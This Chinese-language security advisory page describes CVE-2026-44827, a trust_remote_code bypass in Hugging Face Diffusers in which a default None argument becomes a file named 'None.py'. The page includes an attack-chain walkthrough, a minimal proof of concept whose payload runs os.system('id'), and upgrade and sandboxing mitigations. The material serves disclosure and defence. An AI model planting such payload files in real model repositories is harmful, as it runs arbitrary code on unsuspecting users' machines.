IPBUF安全漏洞报告
English
CVE-2026-44827 CVSS 8.8 高危

CVE-2026-44827 Diffusers库远程代码执行漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-44827
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Hugging Face Diffusers

相关标签

RCE远程代码执行Hugging FaceDiffusersPythonTrust BypassCVE-2026-44827

漏洞概述

Hugging Face Diffusers 库在 0.38.0 版本之前存在高危漏洞。当从 Hub 加载管道时,攻击者可绕过 `trust_remote_code` 机制。由于代码将默认参数 `None` 解析为文件名 "None.py",攻击者发布的恶意仓库中若包含同名恶意文件,将在受害者调用 `from_pretrained()` 时被自动下载并执行,导致远程代码执行。

技术细节

该漏洞的核心在于 Hugging Face Diffusers 库中处理自定义管道加载时的逻辑缺陷。在 `pipeline_loading_utils.py` 文件中,`_resolve_custom_pipeline_and_cls` 函数负责解析自定义管道路径,它使用了 Python 的 f-string 语法 `f"{custom_pipeline}.py"` 来拼接文件名。正常情况下,如果用户未指定 `custom_pipeline` 参数,该参数默认为 `None`。此时,f-string 机制将 `None` 对象转换为字面量字符串 "None.py"。关键的安全检查逻辑位于 `DiffusionPipeline.download()` 中,其判断条件为 `if custom_pipeline is not None`。由于参数确实为 `None`,该检查通过,系统认为不需要加载远程代码,从而绕过了 `trust_remote_code=True` 的安全防护。然而,下游的实际加载代码并不关心这个检查结果,直接使用解析出的字符串 "None.py" 去寻找并导入模块。因此,攻击者可以在 Hugging Face Hub 上发布一个特制的模型仓库,其中包含一个名为 `None.py` 的恶意文件。当受害者使用 `DiffusionPipeline.from_pretrained("attacker/repo")` 加载该模型时,系统会静默下载并执行 `None.py` 中的代码,导致攻击者在受害者机器上获得任意代码执行权限。

攻击链分析

STEP 1
步骤1:攻击者准备恶意环境
攻击者在 Hugging Face Hub 上创建一个恶意的模型仓库,其中包含一个名为 'None.py' 的文件,该文件内包含恶意代码类(继承 DiffusionPipeline)。
STEP 2
步骤2:诱导受害者加载模型
攻击者诱导受害者使用 Diffusers 库的 DiffusionPipeline.from_pretrained() 方法加载该恶意仓库,受害者未设置 trust_remote_code=True,认为这是安全的。
STEP 3
步骤3:参数解析与字符串转换
Diffusers 库在处理加载请求时,由于未提供 custom_pipeline 参数,其默认为 None。在 _resolve_custom_pipeline_and_cls 函数中,f-string 将 None 转换为文件名字符串 "None.py"。
STEP 4
步骤4:安全绕过
库的安全检查机制判断 custom_pipeline is not None 为 False,因此跳过了针对远程代码的安全警告和拦截,误以为操作安全。
STEP 5
步骤5:代码执行
下游模块直接下载并加载解析出的 "None.py" 文件。受害者机器在不知情的情况下执行了恶意代码,攻击者获得远程控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Victim side code (Vulnerable scenario) from diffusers import DiffusionPipeline # User loads a model from a repository, assuming it's safe without trust_remote_code=True # The repository contains a malicious file named 'None.py' pipeline = DiffusionPipeline.from_pretrained("attacker/malicious-repo") # Attacker side: Repository structure # attacker/malicious-repo/ # ├── model_index.json # ├── None.py (Malicious payload) # └── ... # Content of None.py (Example payload) import os class MaliciousPipeline: def __init__(self): print("Executing arbitrary code!") os.system("id") # Arbitrary command execution

影响范围

Hugging Face Diffusers < 0.38.0
Hugging Face Diffusers 0.37.0

防御指南

临时缓解措施
建议立即将 Hugging Face Diffusers 库升级到 0.38.0 或更高版本以修复此漏洞。如果无法立即升级,请避免从不可信的来源加载模型,并在隔离或沙箱环境中运行 Diffusers 相关代码,以限制潜在的代码执行影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表